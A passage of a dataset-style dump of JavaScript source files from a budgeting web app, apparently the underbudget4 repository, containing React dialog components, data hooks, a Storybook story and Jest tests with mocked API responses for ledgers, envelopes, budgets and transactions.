ModifyPeriodicExpenseDialog;\n" }, { "alpha_fraction": 0.6527571082115173, "alphanum_fraction": 0.6672344207763672, "avg_line_length": 37.818180084228516, "blob_id": "db09c0208e19e854b112777463358df7add01987", "content_id": "2563a046891763ac65742a2d9e99ab8c602ef24f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4697, "license_type": "permissive", "max_line_length": 96, "num_lines": 121, "path": "/webapp/src/features/budgets/components/__tests__/ActiveBudgetsList.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ActiveBudgetsList from '../ActiveBudgetsList';\n\nconst render = (activeBudgets, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi();\n mockApi.onGet('/api/ledgers/2/active-budgets').reply(code, { activeBudgets });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n retryDelay: 200,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/budgets/*' element={<ActiveBudgetsList />} />\n </Routes>\n </QueryClientProvider>,\n { route: '/budgets' },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should show error message when unable to fetch budgets', async () => {\n render({}, 404);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n});\n\ntest('should show all active budgets', async () => {\n const budgets = [\n { id: 1, budgetId: 7, name: 'This Year', year: 2021 },\n { id: 2, budgetId: 6, name: 'Last Year', year: 2020 },\n { id: 3, budgetId: 5, name: 'Old Budget', year: 2019 },\n { id: 4, budgetId: 5, name: 'Old Budget', year: 2018 },\n ];\n render(budgets);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n budgets.forEach((budget) => {\n expect(\n screen.getByRole('button', { name: `${budget.year} ${budget.name}` }),\n ).toBeInTheDocument();\n });\n});\n\ntest('should navigate to budget route when card is clicked', async () => {\n const { history } = render([{ id: 1, budgetId: 2, name: 'Budget', year: 2021 }]);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: '2021 Budget' }));\n expect(history.location.pathname).toBe('/budget/2');\n});\n\ntest('should navigate to modify-active route when change button clicked', async () => {\n const { history } = render([{ id: 1, budgetId: 2, name: 'Budget', year: 2021 }]);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: /change/i }));\n expect(history.location.pathname).toBe('/budgets/modify-active/1');\n});\n\ntest('should prompt to confirm deletion of active budget', async () => {\n const { mockApi, queryClient } = render([{ id: 1, budgetId: 2, name: 'Budget', year: 2021 }]);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n mockApi.onDelete('/api/active-budgets/1').reply(204);\n\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n // Reject cancellation\n userEvent.click(screen.getByRole('button', { name: /delete/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockApi.history.delete).toHaveLength(0);\n\n // Confirm cancellation\n userEvent.click(screen.getByRole('button', { name: /delete/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockApi.history.delete).toHaveLength(1));\n expect(mockApi.history.delete[0].url).toBe('/api/active-budgets/1');\n await waitFor(() =>\n expect(invalidateQueries).toHaveBeenCalledWith(['active-budgets', { ledger: '2' }]),\n );\n});\n" }, { "alpha_fraction": 0.6829268336296082, "alphanum_fraction": 0.6829268336296082, "avg_line_length": 40, "blob_id": "1dbf886904cbff72f43af68517d7655e6d8be7a1", "content_id": "1cae60f4c62189acbe1afb6c164a4722df2ad3ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 41, "license_type": "permissive", "max_line_length": 40, "num_lines": 1, "path": "/webapp/src/common/components/PureAppPage/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './PureAppPage';\n" }, { "alpha_fraction": 0.6515048742294312, "alphanum_fraction": 0.6685830354690552, "avg_line_length": 36.43037796020508, "blob_id": "c43d3b59bbd87e0e62400233b5adb6f34f6e5331", "content_id": "52245a6c0c288b84db595932de682345376a65d5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5914, "license_type": "permissive", "max_line_length": 94, "num_lines": 158, "path": "/webapp/src/features/envelopes/routes/__tests__/EnvelopeTransactionsPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport createMediaQuery from 'test/createMediaQuery';\nimport renderWithRouter from 'test/renderWithRouter';\nimport EnvelopeTransactionsPage from '../EnvelopeTransactionsPage';\n\nconst render = ({ route = '/envelope/7', width = '800px' } = {}) => {\n window.HTMLElement.prototype.scrollTo = () => 0;\n window.matchMedia = createMediaQuery(width);\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency: 840 });\n mockAxios.onGet('/api/envelopes/7').reply(200, { name: 'My Envelope Name' });\n mockAxios.onGet('/api/envelopes/7/balance').reply(200, { balance: 8675309, total: 472 });\n mockAxios.onGet(/\\/api\\/envelopes\\/7\\/transactions.*/).reply(200, {\n total: 1,\n transactions: [\n {\n id: 15,\n transactionId: 42,\n recordedDate: '2021-05-04', // May the 4th be with you\n payee: 'Darth Vader',\n memo: '',\n cleared: false,\n type: 'expense',\n amount: -8000,\n balance: 8675309,\n },\n ],\n });\n mockAxios.onGet('/api/transactions/42').reply(200, {\n payee: '',\n recordedDate: '',\n type: '',\n accountTransactions: [],\n envelopeTransactions: [],\n });\n\n const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/envelope/:id/*' element={<EnvelopeTransactionsPage />} />\n </Routes>\n </QueryClientProvider>,\n { route },\n ),\n mockAxios,\n queryClient,\n };\n};\n\n// TODO implement these tests\n// test('should display create-transaction dialog if initial route matches', async () => {});\n\ntest('should display transaction details dialog if initial route matches', async () => {\n const { history } = render({ route: '/envelope/1/transaction/42' });\n expect(screen.getByRole('heading', { name: /details/i })).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /close/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/envelope/1'));\n expect(screen.queryByRole('heading', { name: /details/i })).not.toBeInTheDocument();\n});\n\ntest('should display modify-envelope dialog if initial route matches', async () => {\n const { history } = render({ route: '/envelope/1/modify' });\n expect(screen.getByRole('heading', { name: /modify envelope/i })).toBeInTheDocument();\n\n await waitFor(() => expect(history.location.pathname).toBe('/envelope/1'));\n expect(screen.queryByRole('heading', { name: /modify envelope/i })).not.toBeInTheDocument();\n});\n\ntest('should prompt to confirm deletion of envelope', async () => {\n const { history, mockAxios, queryClient } = render();\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n mockAxios.onDelete('/api/envelopes/7').reply(204);\n\n await waitFor(() =>\n expect(screen.getByRole('heading')).toHaveTextContent('My Envelope Name | $86,753.09'),\n );\n\n // Reject cancellation\n userEvent.click(screen.getByRole('button', { name: /open actions menu/i }));\n userEvent.click(screen.getByRole('menuitem', { name: /delete envelope/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockAxios.history.delete).toHaveLength(0);\n\n // Confirm cancellation\n userEvent.click(screen.getByRole('button', { name: /open actions menu/i }));\n userEvent.click(screen.getByRole('menuitem', { name: /delete envelope/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockAxios.history.delete).toHaveLength(1));\n expect(mockAxios.history.delete[0].url).toBe('/api/envelopes/7');\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-categories', { ledger: '2' }]);\n\n await waitFor(() => expect(history.location.pathname).toBe('/envelopes'));\n}, 15000);\n\n// TODO implement these tests\n// test('should archive envelope', async () => {});\n\n// test('should unarchive envelope', async () => {});\n\ntest('should open dialogs when using nav bar actions', async () => {\n const { history } = render();\n\n // Make sure no dialogs open initially\n expect(screen.queryAllByRole('heading')).toHaveLength(1);\n expect(screen.queryByRole('dialog')).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /modify envelope$/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify envelope/i })).toBeInTheDocument(),\n );\n expect(history.location.pathname).toBe('/envelope/7/modify');\n\n // TODO open create-transaction dialog\n});\n\ntest('should display envelope name and balance in app bar', async () => {\n render();\n const heading = screen.getByRole('heading');\n expect(heading).toHaveTextContent('...');\n await waitFor(() => expect(heading).toHaveTextContent('My Envelope Name | $86,753.09'));\n});\n\ntest('should display transactions', async () => {\n render();\n await waitFor(() =>\n expect(screen.getByRole('cell', { name: 'Darth Vader' })).toBeInTheDocument(),\n );\n});\n" }, { "alpha_fraction": 0.6790831089019775, "alphanum_fraction": 0.6800382137298584, "avg_line_length": 29.794116973876953, "blob_id": "dbd8233b43db8353a90001bd388d968538849833", "content_id": "c622afba6edb561fafa535fead936e3427ca2ae3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2094, "license_type": "permissive", "max_line_length": 92, "num_lines": 68, "path": "/webapp/src/features/transactions/components/TransactionDetailsDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AppBar from '@material-ui/core/AppBar';\nimport Button from '@material-ui/core/Button';\nimport Dialog from '@material-ui/core/Dialog';\nimport IconButton from '@material-ui/core/IconButton';\nimport Slide from '@material-ui/core/Slide';\nimport Toolbar from '@material-ui/core/Toolbar';\nimport Typography from '@material-ui/core/Typography';\nimport CloseIcon from '@material-ui/icons/Close';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport useNavigateKeepingSearch from '../../../common/hooks/useNavigateKeepingSearch';\nimport TransactionDetailsList from './TransactionDetailsList';\n\nconst Transition = React.forwardRef(function Transition(props, ref) {\n // eslint-disable-next-line react/jsx-props-no-spreading\n return <Slide direction='up' ref={ref} {...props} />;\n});\n\nconst TransactionDetailsDialog = ({ onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { transactionId } = useParams();\n\n const [isOpen, setIsOpen] = React.useState(true);\n\n const handleClose = () => setIsOpen(false);\n const handleExited = () => navigate(onExitNavigateTo);\n const handleModify = () => navigate('modify');\n\n return (\n <Dialog\n fullScreen\n open={isOpen}\n onClose={handleClose}\n onExited={handleExited}\n TransitionComponent={Transition}\n >\n <AppBar style={{ position: 'relative' }}>\n <Toolbar>\n <IconButton aria-label='close' color='inherit' edge='start' onClick={handleClose}>\n <CloseIcon />\n </IconButton>\n\n <Typography color='inherit' style={{ flex: 1 }} variant='h6'>\n Details\n </Typography>\n\n <Button color='inherit' onClick={handleModify}>\n Modify\n </Button>\n </Toolbar>\n </AppBar>\n\n <TransactionDetailsList id={transactionId} />\n </Dialog>\n );\n};\n\nTransactionDetailsDialog.propTypes = {\n onExitNavigateTo: PropTypes.string,\n};\n\nTransactionDetailsDialog.defaultProps = {\n onExitNavigateTo: '..',\n};\n\nexport default TransactionDetailsDialog;\n" }, { "alpha_fraction": 0.759856641292572, "alphanum_fraction": 0.759856641292572, "avg_line_length": 24.363636016845703, "blob_id": "e0be1ed15a9a343ea9d550f3133674406602e6da", "content_id": "02f1cf699841995eaa422685e5b980811485c751", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 279, "license_type": "permissive", "max_line_length": 44, "num_lines": 11, "path": "/webapp/src/common/utils/action-props.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nconst actionProps = PropTypes.shape({\n 'aria-label': PropTypes.string.isRequired,\n icon: PropTypes.node,\n fabIcon: PropTypes.node,\n onClick: PropTypes.func.isRequired,\n text: PropTypes.string.isRequired,\n});\n\nexport default actionProps;\n" }, { "alpha_fraction": 0.720079779624939, "alphanum_fraction": 0.720079779624939, "avg_line_length": 29.079999923706055, "blob_id": "a3103755f871f804022ea8a62c82a42bfd1d685f", "content_id": "696bae165593bab5bdc0e239c982302e9cb6fcd3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1504, "license_type": "permissive", "max_line_length": 77, "num_lines": 50, "path": "/webapp/src/features/transactions/components/ModifyTransactionDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchTransaction from '../hooks/useFetchTransaction';\nimport useModifyTransaction from '../hooks/useModifyTransaction';\nimport TransactionForm from './TransactionForm';\n\nconst ModifyTransactionDialog = ({ onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { transactionId } = useParams();\n const { data, isLoading } = useFetchTransaction(\n { id: transactionId },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const transaction = {\n ...TransactionForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyTransaction();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={TransactionForm}\n initialValues={transaction}\n isLoading={isLoading}\n maxWidth='lg'\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={(values, opts) => mutate([values, data], opts)}\n title='Modify Transaction'\n validate={TransactionForm.validate}\n validateOnChange={false}\n validationSchema={TransactionForm.validationSchema}\n />\n );\n};\n\nModifyTransactionDialog.propTypes = {\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyTransactionDialog.defaultProps = {\n onExitNavigateTo: '..',\n};\n\nexport default ModifyTransactionDialog;\n" }, { "alpha_fraction": 0.6547390222549438, "alphanum_fraction": 0.6742569804191589, "avg_line_length": 31.052133560180664, "blob_id": "b95faac92e37366a9b71f06ca0486dcacea8ecd0", "content_id": "d212f5e5e01cb4984ef0d3e4b28468a75ae60aad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6763, "license_type": "permissive", "max_line_length": 98, "num_lines": 211, "path": "/webapp/src/features/ledgers/routes/__tests__/LedgersPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor, within } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport moment from 'moment';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport createMediaQuery from 'test/createMediaQuery';\nimport renderWithRouter from 'test/renderWithRouter';\nimport LedgersPage from '../LedgersPage';\n\nconst render = () => {\n configure({ defaultHidden: true });\n window.HTMLElement.prototype.scrollTo = () => 0;\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retryDelay: 200,\n },\n },\n });\n\n return renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <LedgersPage />\n </QueryClientProvider>,\n );\n};\n\nconst ledger1 = {\n id: 'ledger-id-1',\n name: 'My Ledger',\n currency: 840,\n lastUpdated: moment().subtract(1, 'hour'),\n};\nconst ledger2 = {\n id: 'ledger-id-2',\n name: 'Demo Ledger',\n currency: 978,\n lastUpdated: moment().subtract(4, 'month'),\n};\n\ntest('should do nothing when delete action is cancelled', async () => {\n window.matchMedia = createMediaQuery('800px');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [ledger1, ledger2],\n total: 2,\n });\n\n render();\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n const row1 = within(rows[1]);\n userEvent.click(row1.getByRole('button', { name: /delete ledger/i }));\n\n await waitFor(() => expect(screen.getByText('Delete ledger My Ledger?')).toBeInTheDocument());\n userEvent.click(screen.getByText(/cancel/i));\n\n await waitFor(() =>\n expect(screen.queryByText('Delete ledger My Ledger?')).not.toBeInTheDocument(),\n );\n expect(screen.queryByRole('alert')).not.toBeInTheDocument();\n});\n\ntest('should show error message when failed to delete', async () => {\n window.matchMedia = createMediaQuery('400px');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [ledger1, ledger2],\n total: 2,\n });\n mockAxios.onDelete('/api/ledgers/ledger-id-2').reply(400);\n\n render();\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n const row2 = within(rows[2]);\n userEvent.click(row2.getByRole('button', { name: /open ledger actions menu/i }));\n userEvent.click(screen.getByRole('menuitem', { name: /delete ledger/i }));\n\n await waitFor(() => expect(screen.getByText('Delete ledger Demo Ledger?')).toBeInTheDocument());\n userEvent.click(screen.getByText(/ok/i));\n\n await waitFor(() => expect(screen.getByText(/unable to delete ledger/i)).toBeInTheDocument());\n});\n\ntest('should refetch ledgers when delete is successful', async () => {\n window.matchMedia = createMediaQuery('800px');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').replyOnce(200, {\n ledgers: [ledger1, ledger2],\n total: 2,\n });\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [ledger2],\n total: 1,\n });\n mockAxios.onDelete('/api/ledgers/ledger-id-1').reply(200);\n\n render();\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n const row1 = within(rows[1]);\n userEvent.click(row1.getByRole('button', { name: /delete ledger/i }));\n\n await waitFor(() => expect(screen.getByText('Delete ledger My Ledger?')).toBeInTheDocument());\n userEvent.click(screen.getByText(/ok/i));\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(2));\n});\n\ntest('should open modify ledger dialog on desktop', async () => {\n window.matchMedia = createMediaQuery('800px');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [ledger1, ledger2],\n total: 2,\n });\n\n const { history } = render();\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n const row1 = within(rows[1]);\n userEvent.click(row1.getByRole('button', { name: /modify ledger/i }));\n\n await waitFor(() => expect(history.location.pathname).toBe('/modify/ledger-id-1'));\n});\n\ntest('should open modify ledger dialog on mobile', async () => {\n window.matchMedia = createMediaQuery('400px');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [ledger1, ledger2],\n total: 2,\n });\n\n const { history } = render();\n\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n const row2 = within(rows[2]);\n userEvent.click(row2.getByRole('button', { name: /open ledger actions menu/i }));\n userEvent.click(screen.getByRole('menuitem', { name: /modify ledger/i }));\n\n await waitFor(() => expect(history.location.pathname).toBe('/modify/ledger-id-2'));\n});\n\ntest('should navigate to create-ledger route', async () => {\n window.matchMedia = createMediaQuery('800px');\n\n const { history } = render();\n\n userEvent.click(screen.getByRole('button', { name: /create ledger/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/create'));\n});\n\ntest('user is prompted to create demo when no ledgers exist', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [],\n total: 0,\n });\n\n render();\n expect(screen.queryByRole('heading', { name: /create demo/i })).not.toBeInTheDocument();\n\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(screen.queryByRole('heading', { name: /create demo/i })).not.toBeInTheDocument();\n});\n\ntest('dialog is opened if user confirms to create demo when no ledgers exist', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: [],\n total: 0,\n });\n\n const { history } = render();\n expect(screen.queryByRole('heading', { name: /create demo/i })).not.toBeInTheDocument();\n\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() => expect(history.location.pathname).toBe('/create-demo'));\n});\n" }, { "alpha_fraction": 0.7617896199226379, "alphanum_fraction": 0.7617896199226379, "avg_line_length": 30.80769157409668, "blob_id": "1248f94c3ba457a9680560bfed03df5ec37ad949", "content_id": "103cc0937e2d5778e2cda062a3e1a264f939358b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 827, "license_type": "permissive", "max_line_length": 81, "num_lines": 26, "path": "/webapp/src/features/budgets/components/CreatePeriodicExpenseDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreatePeriodicExpense from '../hooks/useCreatePeriodicExpense';\nimport PeriodicExpenseForm from './PeriodicExpenseForm';\n\nconst CreatePeriodicExpenseDialog = ({ budgetId }) => {\n const { mutate } = useCreatePeriodicExpense(budgetId);\n return (\n <FormDialog\n actionText='Create'\n FormComponent={PeriodicExpenseForm}\n initialValues={PeriodicExpenseForm.initialValues}\n onSubmit={mutate}\n title='Create Periodic Expense'\n validationSchema={PeriodicExpenseForm.validationSchema}\n />\n );\n};\n\nCreatePeriodicExpenseDialog.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\nexport default CreatePeriodicExpenseDialog;\n" }, { "alpha_fraction": 0.7244701385498047, "alphanum_fraction": 0.7244701385498047, "avg_line_length": 36.07143020629883, "blob_id": "22263404c7331922101071d2c311868103d0d3e9", "content_id": "4a85e58094b398216d838cee3da2616200c48bc1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 519, "license_type": "permissive", "max_line_length": 90, "num_lines": 14, "path": "/webapp/src/features/accounts/hooks/useDeleteAccountCategory.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation((id) => axios.delete(`/api/account-categories/${id}`), {\n createErrorMessage: useErrorMessage({ request: 'Unable to delete account category' }),\n refetchQueries: [['account-categories', { ledger }]],\n ...opts,\n });\n};\n" }, { "alpha_fraction": 0.6249533295631409, "alphanum_fraction": 0.6268210411071777, "avg_line_length": 32.462501525878906, "blob_id": "df1baf772a94aaddf105f6172859de85cfb85d60", "content_id": "7668a452dc178dd93716a20edab691721d8d7afe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2677, "license_type": "permissive", "max_line_length": 91, "num_lines": 80, "path": "/webapp/src/features/transactions/components/TransactionDetailsTable.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import CircularProgress from '@material-ui/core/CircularProgress';\nimport Table from '@material-ui/core/Table';\nimport TableBody from '@material-ui/core/TableBody';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableHead from '@material-ui/core/TableHead';\nimport TableRow from '@material-ui/core/TableRow';\nimport Typography from '@material-ui/core/Typography';\nimport CheckIcon from '@material-ui/icons/Check';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport { useAccountName } from 'features/accounts';\nimport { useEnvelopeName } from 'features/envelopes';\nimport useFetchTransaction from '../hooks/useFetchTransaction';\n\nconst TransactionDetailsTable = ({ formatMoney, id }) => {\n const { data, isLoading } = useFetchTransaction({ id });\n const accountName = useAccountName();\n const envelopeName = useEnvelopeName();\n\n if (isLoading) {\n return <CircularProgress style={{ margin: 'auto' }} />;\n }\n\n if (!data) {\n return <Typography variant='body1'>Unable to retrieve transaction details</Typography>;\n }\n\n return (\n <Table aria-label='transaction details' size='small'>\n <TableHead>\n <TableRow>\n <TableCell>Name</TableCell>\n <TableCell>Memo</TableCell>\n <TableCell>Cleared</TableCell>\n <TableCell>Amount</TableCell>\n </TableRow>\n </TableHead>\n <TableBody>\n {data.accountTransactions.length > 0 && (\n <TableRow>\n <TableCell colSpan={4} variant='head'>\n Accounts\n </TableCell>\n </TableRow>\n )}\n {data.accountTransactions.map((trn) => (\n <TableRow key={trn.id}>\n <TableCell>{accountName(trn.accountId)}</TableCell>\n <TableCell>{trn.memo}</TableCell>\n <TableCell padding='checkbox'>{trn.cleared && <CheckIcon />}</TableCell>\n <TableCell>{formatMoney(trn.amount)}</TableCell>\n </TableRow>\n ))}\n {data.envelopeTransactions.length > 0 && (\n <TableRow>\n <TableCell colSpan={4} variant='head'>\n Envelopes\n </TableCell>\n </TableRow>\n )}\n {data.envelopeTransactions.map((trn) => (\n <TableRow key={trn.id}>\n <TableCell>{envelopeName(trn.envelopeId)}</TableCell>\n <TableCell>{trn.memo}</TableCell>\n <TableCell />\n <TableCell>{formatMoney(trn.amount)}</TableCell>\n </TableRow>\n ))}\n </TableBody>\n </Table>\n );\n};\n\nTransactionDetailsTable.propTypes = {\n formatMoney: PropTypes.func.isRequired,\n id: PropTypes.number.isRequired,\n};\n\nexport default TransactionDetailsTable;\n" }, { "alpha_fraction": 0.5410463809967041, "alphanum_fraction": 0.5623139142990112, "avg_line_length": 25.122222900390625, "blob_id": "d94938eb284ba8580826296c87cba45db1de6c68", "content_id": "b66f164d2beb931170b72d4962bf13cdd5807991", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2351, "license_type": "permissive", "max_line_length": 85, "num_lines": 90, "path": "/webapp/src/features/ledgers/components/__stories__/LedgersTable.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport moment from 'moment';\nimport React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport LedgersTable from '../LedgersTable';\n\nconst handleSelect = action('select');\n\nexport default {\n title: 'ledgers/LedgersTable',\n component: LedgersTable,\n decorators: [(story) => <AppProviders>{story()}</AppProviders>],\n};\n\nexport const NoLedgers = () => <LedgersTable ledgers={[]} onSelect={handleSelect} />;\n\nexport const OneLedger = () => (\n <LedgersTable\n ledgers={[\n {\n id: 'ledgerId1',\n name: 'Demo Ledger',\n currency: 860,\n created: moment().subtract(6, 'day').toISOString(),\n lastUpdated: moment().subtract(5, 'hour').toISOString(),\n },\n ]}\n onSelect={handleSelect}\n />\n);\n\nexport const SeveralLedgers = () => (\n <LedgersTable\n ledgers={[\n {\n id: 'ledgerId1',\n name: 'Demo Ledger',\n currency: 840,\n created: moment().subtract(86, 'day').toISOString(),\n lastUpdated: moment().subtract(75, 'day').toISOString(),\n },\n {\n id: 'ledgerId2',\n name: 'Foreign Ledger',\n currency: 980,\n created: moment().subtract(6, 'day').toISOString(),\n lastUpdated: moment().subtract(5, 'hour').toISOString(),\n 